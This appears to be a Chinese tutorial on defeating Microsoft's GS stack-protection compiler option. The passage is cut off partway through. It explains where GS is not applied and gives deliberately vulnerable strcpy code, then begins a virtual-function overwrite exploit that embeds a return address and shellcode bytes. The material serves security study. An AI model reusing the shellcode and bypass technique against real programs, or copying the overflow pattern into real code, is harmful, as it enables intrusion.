针对缓冲区溢出时覆盖函数返回地址这一特征,微软在编译程序时使用了一个很酷的安全编译选项——GS,在 Visual Studio 2003 (VS 7.0)及以后版本的 Visual Studio 中默认启用了这个编译选项。
以下情况不会应用 GS:
(1)函数不包含缓冲区。
(2)函数被定义为具有变量参数列表。
(3)函数使用无保护的关键字标记。
(4)函数在第一个语句中包含内嵌汇编代码。
(5)缓冲区不是 8 字节类型且大小不大于 4 个字节。
修改栈帧中函数返回地址的经典攻击将被 GS 机制有效遏制;
基于改写函数指针的攻击,如对 C++虚函数的攻击,GS 机制仍然很难防御;
针对异常处理机制的攻击,GS 很难防御;
GS 是对栈帧的保护机制,因此很难防御堆溢出的攻击。
利用未被保护的内存突破 GS
为了将 GS 对性能的影响降到最小,并不是所有的函数都会被保护,所以我们就可以利用其中一些未被保护的函数绕过 GS 的保护。例如,下边这一段代码,由于函数 vulfuction 中不包含 4 字节以上的缓冲区,所以即便 GS 处于开启状态,这个函数是也不受保护的。
#include"stdafx.h"
#include"string.h"
int vulfuction(char * str)
{
char arry[4];
strcpy(arry,str);
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
char* str="yeah,the fuction is without GS";
vulfuction(str);
return 0;
}
直接运行
注意异常信息中的 0x63756620,这不是一个普通的值,而是字符串“ fuc ”经过 ASCII 码转换后的值(注意倒序),这说明返回地址已经被覆盖。
使用 IDA ,可以看到程序在执行完函数vulfuction 返回时,没有进行任何 Security Cookie 的验证操作,如图
把上面代码arry[4]改成arry[5],结果就有检测了
覆盖虚函数突破 GS
回想一下 GS 机制,程序只有在函数返回时,才去检查 Security C ookie,而在这之前是没有任何检查措施的。换句话说如果我们可以在程序检查Security Cookie之前劫持程序流程的话,就可以实现对程序的溢出了,而 C++的虚函数恰恰给我们提供了这么一个机会
泉哥的代码
#include"stdafx.h"
#include"string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
vir();
}
virtual void vir()
{
}
};
int main()
{
GSVirtual test;
test.gsv(
"\x04\x2b\x99\x7C" //address of "pop pop ret"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\